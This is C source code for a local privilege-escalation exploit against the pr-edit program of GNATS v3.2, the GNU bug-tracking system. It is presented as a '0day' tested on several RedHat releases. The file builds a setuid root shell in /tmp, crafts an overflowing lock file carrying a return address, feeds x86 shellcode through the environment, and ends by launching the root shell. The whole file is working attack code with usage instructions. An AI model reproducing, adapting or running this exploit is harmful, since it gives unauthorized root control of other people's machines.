/*
**
** GNATS v3.2 (The GNU bug-tracking system) local root 0day exploit
**
** Tested RedHat Linux 6.x,7.x (also, 8.x,9.x)
**
** -- 
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net & http://x82.inetcop.org
*/
/* -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** [?] Why is root setuid established in Linux?
**
** When install, user who is gnats must exist to system.
** If don't exist, setuid has been established by root's uid.
**
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>

#define DF_SIZE (255)
#define T_G "/usr/local/lib/gnats/pr-edit" /* It's Default path */
#define DF_LK_NM "./x82" /* User,Lock: x82 */
#define DF_MK_DIR "/tmp/"
#define DF_BK_SHL "/tmp/gnats-0day"
#define GCC_V_DEF (1)

void own_banrl();
void own_usage(char *own_f_nm);
int __gnats_adm_mkdir();
int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type);
void psh_addr(FILE *fp,u_long addr);
int make_sh(char *own_d_nm);

struct stat s_t;
char df_mk_dir[(DF_SIZE)]; /* gnats-adm dir path */
char df_mk_lk[(DF_SIZE)]; /* user.lock file path */
char df_mk_tmp[(DF_SIZE)]; /* gnats.lock file path */
char shellcode[(DF_SIZE)]={
	/* chown root: ;chmod 6755 ; */
	0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
	0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
	0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
	0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
	0xeb,0x1d,0x5e,0x31,0xc0,0xb0,0xb6,0x89,
	0xf3,0x31,0xc9,0x31,0xd2,0xcd,0x80,0x31,
	0xc0,0xb0,0x0f,0x66,0xb9,0xed,0x0d,0xcd,
	0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80,0xe8,
	0xde,0xff,0xff,0xff
};

int make_sh(char *own_d_nm)
{
	FILE *fp;
	char d_src[(DF_SIZE)];
	char st_exec[(DF_SIZE)*2];
	
	memset((char *)d_src,0,sizeof(d_src));
	snprintf(d_src,sizeof(d_src)-1,"%s.c",own_d_nm);
	if((fp=fopen(d_src,"w"))==(NULL))
	{
		return(-1);
	}
	fprintf(fp,"main()\n"
		"{\n"
		"setreuid(0,0);"
		"setregid(0,0);"
		"setuid(0);"
		"setgid(0);"
		"system(\"sh -p\");"
		"\n}\n");
	fclose(fp);
	
	memset((char *)st_exec,0,sizeof(st_exec));
	snprintf(st_exec,sizeof(st_exec)-1,
		"gcc -o %s %s >/dev/null 2>&1",own_d_nm,d_src);
	system(st_exec);
	unlink(d_src);
	
	if(stat(own_d_nm,&s_t)==(0))
	{
		return(0);
	}
	else return(-1);
}

void own_banrl()
{
	fprintf(stdout,"\n GNATS v3.2 (The GNU bug-tracking system) local root exploit.\n");
	fprintf(stdout,"                                                by Xpl017Elz.\n\n");
}
void own_usage(char *own_f_nm)
{
	fprintf(stdout," Usage: %s -option [argument]\n\n",own_f_nm);
	fprintf(stdout,"\t -p [pr-edit path]  : GNATS pr-edit path.\n",(T_G));
	fprintf(stdout,"\t -t [target num]    : Select gcc version number.\n",(GCC_V_DEF));
	fprintf(stdout,"\t\t\t{0} : gcc old version.\n");
	fprintf(stdout,"\t\t\t{1} : gcc new version.\n");
	fprintf(stdout,"\t -b [target path]   : setuid shell path.\n");
	fprintf(stdout,"\t -h                 : Help information.\n\n");
	fprintf(stdout," Example: %s -p%s -t%d -b%s\n\n",own_f_nm,(T_G),(GCC_V_DEF),(DF_BK_SHL));
	exit(0);
}

int __gnats_adm_mkdir()
{
	memset((char *)df_mk_dir,0,sizeof(df_mk_dir));
	memset((char *)df_mk_tmp,0,sizeof(df_mk_tmp));
	snprintf(df_mk_dir,sizeof(df_mk_dir)-1,"%s/gnats-adm/",(DF_MK_DIR));
	snprintf(df_mk_tmp,sizeof(df_mk_tmp)-1,"%s/gnats-adm/gnats.lock",(DF_MK_DIR));
	mkdir(df_mk_dir,0x1ed);
	if((stat(df_mk_dir,&s_t)==(0))&&(S_ISDIR(s_t.st_mode)))
	{
		return(0);
	}
	else return(-1);
}

void psh_addr(FILE *fp,u_long addr)
{
	u_char __bf[4];
	memset((u_char *)__bf,0,sizeof(__bf));
	{
		__bf[0]=(addr&0x000000ff)>>0;
		__bf[1]=(addr&0x0000ff00)>>8;
		__bf[2]=(addr&0x00ff0000)>>16;
		__bf[3]=(addr&0xff000000)>>24;
	}
	fprintf(fp,"%c%c%c%c",__bf[0],__bf[1],__bf[2],__bf[3]);
}

int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type)
{
	FILE *fp;
	int g_g_nm;
#define DF_FIRST_JNK (1024)
#define DF_SECOND_JNK (100)
	int fst_junk_n=(DF_FIRST_JNK);
	int scn_junk_n=(DF_SECOND_JNK);

	memset((char *)df_mk_lk,0,sizeof(df_mk_lk));
	snprintf(df_mk_lk,sizeof(df_mk_lk)-1,"%s/x82.lock",(DF_MK_DIR));

	if(gv_type)
	{
		fst_junk_n+=8;
		scn_junk_n+=28;
	}
	if((fp=fopen(df_mk_lk,"w"))==(NULL))
	{
		return(-1);
	}
	for(g_g_nm=(0);g_g_nm<fst_junk_n;g_g_nm++)
	{
		fprintf(fp,"F");
	}
	(void)psh_addr(fp,(u_long)stdout);
	for(g_g_nm=(0);g_g_nm<scn_junk_n;g_g_nm++)
	{
		fprintf(fp,"S");
	}
	(void)psh_addr(fp,(u_long)own_sh);
	fclose(fp);
}

int main(int argc,char **argv)
{
	int w_g_dot_f;
	pid_t fk_pid;
	u_long own_sh_addl;
	char *own_exect[2];
	int gcc_v_on=(GCC_V_DEF);
	char pth_own[(DF_SIZE)]=(T_G);
	char bck_own[(DF_SIZE)]=(DF_BK_SHL);

	(void)own_banrl();
	while((w_g_dot_f=getopt(argc,argv,"P:p:T:t:B:b:Hh"))!=EOF)
	{
		extern char *optarg;
		switch(w_g_dot_f)
		{
			case 'P':
			case 'p':
				memset((char *)pth_own,0,sizeof(pth_own));
				strncpy(pth_own,optarg,sizeof(pth_own)-1);
				break;
				
			case 'T':
			case 't':
				if((gcc_v_on=(atoi(optarg)))>1)
				{
					(void)own_usage(argv[0]);
				}
				break;
				
			case 'B':
			case 'b':
				memset((char *)bck_own,0,sizeof(bck_own));
				strncpy(bck_own,optarg,sizeof(bck_own)-1);
				break;
				
			case 'H':
			case 'h':
				(void)own_usage(argv[0]);
			       	break;
				 
			case '?':
			       	(void)own_usage(argv[0]);
			       	break;
		}
	}

	fprintf(stdout," [0] Start, exploit.\n");
	if((stat((pth_own),&s_t)!=(0)))
	{
		fprintf(stderr," [-] pr-edit path: %s not found.\n\n",(pth_own));
		exit(-1);
	}
	fprintf(stdout," [+] exploit target: %s\n",(pth_own));
	fprintf(stdout," [1] Make setuid shell.\n");
	if((int)make_sh(bck_own)==(-1))
	{
		fprintf(stderr," [-] exploit failed.\n\n");
		exit(-1);
	}
	fprintf(stdout," [+] Setuid shell path: %s\n",(bck_own));
	fprintf(stdout," [2] Shellcode setting.\n");
	{
		own_sh_addl=((0xbfffffff)-(strlen(shellcode)+strlen(bck_own)));
		strncat(shellcode,bck_own,sizeof(shellcode)-strlen(shellcode)-1);
		own_exect[0]=(shellcode);
		own_exect[1]=(NULL);
	}
	fprintf(stdout," [+] Shellcode address: %p\n",own_sh_addl);
	fprintf(stdout," [3] Make `gnats-adm' directory.\n");
	if((__gnats_adm_mkdir())==(-1))
	{
		fprintf(stderr," [-] make directory failed.\n\n");
		exit(-1);
	}
	fprintf(stdout," [4] Make user.lock file.\n");
	if((__gants_adm_gnats_dot_lock_flow(own_sh_addl,gcc_v_on))==(-1))
	{
		fprintf(stderr," [-] make lockfile failed.\n\n");
		exit(-1);
	}
	fprintf(stdout," [+] Execute, Shellcode !!\n\n");
	if((fk_pid=fork())==(0))
	{
		execle(pth_own,pth_own,"-l",(DF_LK_NM),"-d",(DF_MK_DIR),(DF_LK_NM),(NULL),own_exect);
	}
	wait(&fk_pid);
	fprintf(stdout,"\n [5] Remove setting dir, files.\n");
	unlink(df_mk_lk);
	unlink(df_mk_tmp);
	rmdir(df_mk_dir);

	if((stat(bck_own,&s_t)==(0))&&(s_t.st_mode&S_ISUID))
	{
		fprintf(stdout," [+] exploit successfully.\n");
		fprintf(stdout," [*] It's root shell !!\n\n");
		execl((bck_own),(bck_own),(NULL));
	}
	else
	{
		fprintf(stderr," [-] exploit failed.\n\n");
		exit(-1);
	}
}

/* eoc */

